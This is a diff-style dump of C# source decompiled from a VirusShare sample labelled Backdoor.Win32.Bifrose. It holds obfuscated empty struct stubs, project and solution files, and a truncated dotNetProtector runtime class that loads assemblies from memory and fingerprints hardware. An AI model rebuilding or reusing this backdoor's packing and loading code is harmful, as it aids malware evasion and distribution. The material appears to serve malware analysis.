internal struct µ
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.Á
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 32)]
internal struct Á
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.Ê
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 4)]
internal struct Ê
{
}
}
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.ä
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[UnsafeValueType]
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 16)]
internal struct ä
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: å.‚
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace å
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(64)]
[StructLayout(LayoutKind.Sequential, Size = 1)]
internal struct \u0082\u0090
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: å.‚˜
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace å
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 4)]
internal struct \u0082\u0098
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: å.‚
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace å
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(64)]
[StructLayout(LayoutKind.Sequential, Size = 1)]
internal struct \u0082\u009D
{
}
}
@@ -0,0 +1,28 @@
// Decompiled with JetBrains decompiler
// Type: å.Ž
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace å
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[StructLayout(LayoutKind.Sequential, Size = 1)]
internal struct \u008E
{
[NativeCppClass]
[CLSCompliant(false)]
[DebugInfoInPDB]
[MiscellaneousBits(64)]
public enum \u00A9
{
}
}
}
@@ -0,0 +1,28 @@
// Decompiled with JetBrains decompiler
// Type: å.®
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace å
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 1)]
internal struct \u00AE
{
[CLSCompliant(false)]
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(64)]
public enum \u00A9
{
}
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: å.Ñ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace å
{
[NativeCppClass]
[MiscellaneousBits(64)]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 4)]
internal struct Ñ
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: å.Ö
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace å
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[StructLayout(LayoutKind.Sequential, Size = 12)]
internal struct Ö
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: å.Ü
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace å
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(64)]
[StructLayout(LayoutKind.Sequential, Size = 1)]
internal struct Ü
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: å.è
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace å
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 1)]
internal struct è
{
}
}
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: õ.Ï
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace õ
{
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[NativeCppClass]
[UnsafeValueType]
[StructLayout(LayoutKind.Sequential, Size = 20)]
internal struct \u0081Ï
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: õ.™
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace õ
{
[NativeCppClass]
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 1)]
internal struct \u0099
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: õ.¦
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace õ
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 1)]
internal struct \u00A6
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: õ.¿
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace õ
{
[MiscellaneousBits(65)]
[NativeCppClass]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 4)]
internal struct \u00BF
{
}
}
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: õ.ñ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace õ
{
[UnsafeValueType]
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 14)]
internal struct ñ
{
}
}
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: õ.ü
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace õ
{
[DebugInfoInPDB]
[NativeCppClass]
[UnsafeValueType]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 18)]
internal struct ü
{
}
}
@@ -0,0 +1,18 @@
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Permissions;
[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: ComVisible(false)]
[assembly: AssemblyProduct("Cursor")]
[assembly: AssemblyDescription("1")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCopyright("Copyright © 2010")]
[assembly: AssemblyTitle("Cursor")]
[assembly: AssemblyCompany("")]
[assembly: CLSCompliant(true)]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
@@ -0,0 +1,121 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{2278317B-09BA-43EA-BE42-888E71B80442}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Cursor</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualC" />
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="_003CdotNetProtector_003E.cs" />
<Compile Include="_0082¼\_0082».cs" />
<Compile Include="_0082¼\_0082¶.cs" />
<Compile Include="_0082¼\_0082­.cs" />
<Compile Include="_0082¼\_0082©.cs" />
<Compile Include="_0082¼\_0082¦.cs" />
<Compile Include="_0082¼\_0082¢.cs" />
<Compile Include="_0082¼\_0082_0095.cs" />
<Compile Include="_0082¼\_0082_0094.cs" />
<Compile Include="_0082¼\_0082_008A.cs" />
<Compile Include="_0082¼\_0082_0084.cs" />
<Compile Include="_0082¼\_0081ù.cs" />
<Compile Include="_0082¼\_0081ò.cs" />
<Compile Include="_0082¼\_0081ì.cs" />
<Compile Include="_0082¼\_0081ã.cs" />
<Compile Include="_0082¼\_0081Ü.cs" />
<Compile Include="_0082¼\_0081Õ.cs" />
<Compile Include="_0082¼\_0081Î.cs" />
<Compile Include="_0082¼\_0081Ç.cs" />
<Compile Include="_0082¼\_0081Â.cs" />
<Compile Include="_0082¼\_0081¹.cs" />
<Compile Include="_0082¼\_0081³.cs" />
<Compile Include="_0082¼\_0081«.cs" />
<Compile Include="_0082¼\_0081§.cs" />
<Compile Include="_0082¼\_0081 .cs" />
<Compile Include="_0082¼\_0081_009C.cs" />
<Compile Include="_0082¼\_0081_0097.cs" />
<Compile Include="_0082¼\_0081_0093.cs" />
<Compile Include="_0082¼\_0081_0090.cs" />
<Compile Include="_0082¼\_0081_008B.cs" />
<Compile Include="_0082¼\_0081_0088.cs" />
<Compile Include="_0082¼\_0081_0083.cs" />
<Compile Include="_0082¼\_0081_0080.cs" />
<Compile Include="_0082¼\ä.cs" />
<Compile Include="_0082¼\Ê.cs" />
<Compile Include="_0082¼\1Ä.cs" />
<Compile Include="_0082¼\µ.cs" />
<Compile Include="_0082¼\Á.cs" />
<Compile Include="_0082¼\­.cs" />
<Compile Include="_0082¼\¨.cs" />
<Compile Include="_0082¼\´.cs" />
<Compile Include="_0082¼\±.cs" />
<Compile Include="_0082¼\ .cs" />
<Compile Include="_0082¼\_0094.cs" />
<Compile Include="_0082¼\_008D.cs" />
<Compile Include="_0082¼\_0088.cs" />
<Compile Include="_0082¼\_0086.cs" />
<Compile Include="_0082¼\_0082².cs" />
<Compile Include="_0082¼\_0082º.cs" />
<Compile Include="_0082¼\_0082³.cs" />
<Compile Include="_0082¼\_0082_009A.cs" />
<Compile Include="_0082¼\_0082¨.cs" />
<Compile Include="_0082¼\_0082§.cs" />
<Compile Include="_0082¼\_0082¥.cs" />
<Compile Include="_0082¼\_0082_008E.cs" />
<Compile Include="_0082¼\_0082_0088.cs" />
<Compile Include="_0082¼\_0081æ.cs" />
<Compile Include="_0082¼\_0081$.cs" />
<Compile Include="_0082¼\1_0081î.cs" />
<Compile Include="õ\ü.cs" />
<Compile Include="õ\ñ.cs" />
<Compile Include="õ\¿.cs" />
<Compile Include="õ\¦.cs" />
<Compile Include="õ\_0099.cs" />
<Compile Include="õ\_0081Ï.cs" />
<Compile Include="å\è.cs" />
<Compile Include="å\Ü.cs" />
<Compile Include="å\Ö.cs" />
<Compile Include="å\Ñ.cs" />
<Compile Include="å\®.cs" />
<Compile Include="å\_008E.cs" />
<Compile Include="å\_0082_009D.cs" />
<Compile Include="å\_0082_0098.cs" />
<Compile Include="å\_0082_0090.cs" />
<Compile Include="_0081é\_0081ê.cs" />
<Compile Include="_0081é\_0081Þ.cs" />
<Compile Include="_0081é\_0081Ù.cs" />
<Compile Include="PvLogiciels\dotNetProtector\RuntimeInterop.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.csproj", "{2278317B-09BA-43EA-BE42-888E71B80442}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{2278317B-09BA-43EA-BE42-888E71B80442}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2278317B-09BA-43EA-BE42-888E71B80442}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2278317B-09BA-43EA-BE42-888E71B80442}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2278317B-09BA-43EA-BE42-888E71B80442}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,651 @@
// Decompiled with JetBrains decompiler
// Type: PvLogiciels.dotNetProtector.RuntimeInterop
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
using \u0081é;
using \u0082\u00BC;
using õ;
using System;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
namespace PvLogiciels.dotNetProtector
{
public class RuntimeInterop : IRuntime
{
internal Assembly[] ò;
internal Assembly \u0081\u00BD;
internal string \u0082\u00B4;
private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer();
internal RuntimeInterop() => this.ò = new Assembly[0];
internal unsafe Assembly \u0081â(IntPtr _param1)
{
int id = AppDomain.CurrentDomain.Id;
byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
_param1 = ptr;
int num1 = Marshal.ReadInt32(ptr);
int length1 = Marshal.ReadInt32(_param1, 4);
int length2 = Marshal.ReadInt32(_param1, 8);
IntPtr source1 = (IntPtr) (void*) (numPtr + 12);
IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12);
byte[] numArray = new byte[length1];
byte[] destination = numArray;
int length3 = length1;
Marshal.Copy(source1, destination, 0, length3);
Assembly assembly;
if (length2 != 0)
{
byte[] rawSymbolStore = new byte[length2];
Marshal.Copy(source2, numArray, 0, length2);
assembly = Assembly.Load(numArray, rawSymbolStore);
}
else
assembly = Assembly.Load(numArray);
Marshal.FreeCoTaskMem(_param1);
if ((object) assembly != null && num1 >= 0)
{
Type[] types = assembly.GetTypes();
IntPtr num2 = types[types.Length - 1].TypeHandle.Value;
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id);
}
return assembly;
}
internal static unsafe void Î(Assembly _param0)
{
string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0);
IntPtr ptr = IntPtr.Zero;
if (assemblyString != (string) null)
ptr = Marshal.StringToCoTaskMemAnsi(assemblyString);
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
if (!(ptr != IntPtr.Zero))
return;
Marshal.FreeCoTaskMem(ptr);
}
public virtual Assembly GetEntryAssembly()
{
if ((object) \u0081ê.\u0081\u0099 != null)
return \u0081ê.\u0081\u0099;
Assembly entryAssembly = Assembly.GetEntryAssembly();
if ((object) entryAssembly != null)
{
\u0081ê.\u0081\u0099 = entryAssembly;
return entryAssembly;
}
Assembly executingAssembly = Assembly.GetExecutingAssembly();
if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime"))
return (Assembly) null;
\u0081ê.\u0081\u0099 = executingAssembly;
return executingAssembly;
}
public static IRuntime InitRuntime()
{
RuntimeInterop runtimeInterop = new RuntimeInterop();
if (AppDomain.CurrentDomain.IsDefaultAppDomain())
{
AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit);
return (IRuntime) runtimeInterop;
}
AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084);
return (IRuntime) runtimeInterop;
}
public static void AppDomain_ProcessExit(object sender, EventArgs e)
{
GC.Collect();
GC.WaitForPendingFinalizers();
\u0082\u00BB.\u0081\u0086();
}
public virtual void NGenInitRuntime()
{
}
public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C();
public virtual long GetMacAddress() => \u0082\u00BB.Ç();
public virtual ulong GetBiosHash() => \u0082\u00BB.Ï();
public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id);
public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3)
{
IntPtr ptr = IntPtr.Zero;
if (Reserved3 != (string) null)
ptr = Marshal.StringToCoTaskMemAnsi(Reserved3);
IntPtr num1 = pReserved1.TypeHandle.Value;
int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
if (ptr != IntPtr.Zero)
Marshal.FreeCoTaskMem(ptr);
if (num2 == 2)
{
this.\u0081\u00BD = pReserved1.Assembly;
this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name;
int length = \u0082\u00BB.\u0081\u009B();
if (length != 0)
{
this.ò = new Assembly[length];
int index = 0;
if (0 < length)
{
do
{
this.ò[index] = (Assembly) null;
++index;
}
while (index < length);
}
}
}
return num2;
}
public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2)
{
IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size);
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2);
\u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer());
IntPtr num = Marshal.ReadIntPtr(ptr);
string str = (string) null;
if (num != IntPtr.Zero)
{
string stringAnsi = Marshal.PtrToStringAnsi(num);
Marshal.FreeHGlobal(num);
str = stringAnsi;
}
Marshal.FreeCoTaskMem(ptr);
if (!(coTaskMemAnsi != IntPtr.Zero))
return str;
Marshal.FreeCoTaskMem(coTaskMemAnsi);
return str;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor)
{
int num;
if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb)
{
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey);
int num1 = usb ? 1 : 0;
int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1);
if (coTaskMemAnsi != IntPtr.Zero)
Marshal.FreeCoTaskMem(coTaskMemAnsi);
return num2 != 0;
}
public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2)
{
int num;
if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num;
}
public virtual unsafe IntPtr GenProductKey(
Assembly pReserved,
IntPtr pKeys,
uint LicenseID,
ulong data)
{
sbyte* numPtr;
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) numPtr;
}
public virtual unsafe IntPtr GenProductKey(
Assembly pReserved,
IntPtr pKeys,
uint LicenseID)
{
sbyte* numPtr;
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) numPtr;
}
public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey)
{
uint licenseId;
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return licenseId;
}
public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey)
{
uint num;
ulong productkeyData;
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return productkeyData;
}
public virtual unsafe IntPtr DecodeActivationString(
Assembly pReserved,
IntPtr pKeys,
IntPtr pActivationString)
{
byte* numPtr;
